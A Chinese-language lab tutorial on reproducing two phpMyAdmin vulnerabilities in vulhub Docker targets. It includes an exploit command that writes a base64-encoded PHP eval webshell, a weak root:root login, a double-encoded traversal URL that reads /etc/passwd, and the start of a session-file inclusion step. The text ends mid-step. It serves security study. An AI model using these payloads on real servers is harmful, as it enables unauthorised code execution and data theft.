前言
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。
环境搭建
这里我们选择使用vulhub搭建docker进行漏洞复现。
首先安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功
然后安装python和pip环境(如果没有),命令如下
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功
然后再安装docker-compose
pip install docker-compose
docker-compose -v
到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上
git clone https://github.com/vulhub/vulhub.git
之后进入phpmyadmin的漏洞环境
这里看到有3个漏洞环境,我们这次目标就是这些漏洞。
漏洞复现
CVE-2016-5734
phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞。
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。
在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
docker-compose up -d
启动,访问http://192.168.50.113:8080/index.php
即可进入默认首页。
这个漏洞需要登录,且能够写入数据
弱口令爆破出来root:root用户名密码,登录。
因为目标环境使用root,所以我们可以创建一个临时数据库和数据表,进行漏洞利用。这里,我们使用POC https://www.exploit-db.com/exploits/40185/ 来复现漏洞。
没有指定表名,这个POC会创建一个名为prgpwn的表
-d是已经可以写的数据库,-c是待执行的PHP语句
写入一句话
ython3 ./phpmyadmin_poc.py -c "file_put_contents('shell1.php',base64_decode('PD9waHAgZXZhbChAJF9QT1NUWydhJ10pOyA/Pg=='));" -u root -p root -d test http://192.168.50.113:8080/
成功拿下webshell。
CVE-2018-12613
phpmyadmin 4.8.1 远程文件包含漏洞
其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
环境启动后,访问http://192.168.50.113:8080
,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。
http://192.168.50.113:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
访问上述url发现返回密码信息。
可见/etc/passwd被读取,说明文件包含漏洞存在。
利用方式也比较简单,可以执行一下SELECT ‘<?=phpinfo()?>’;,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可: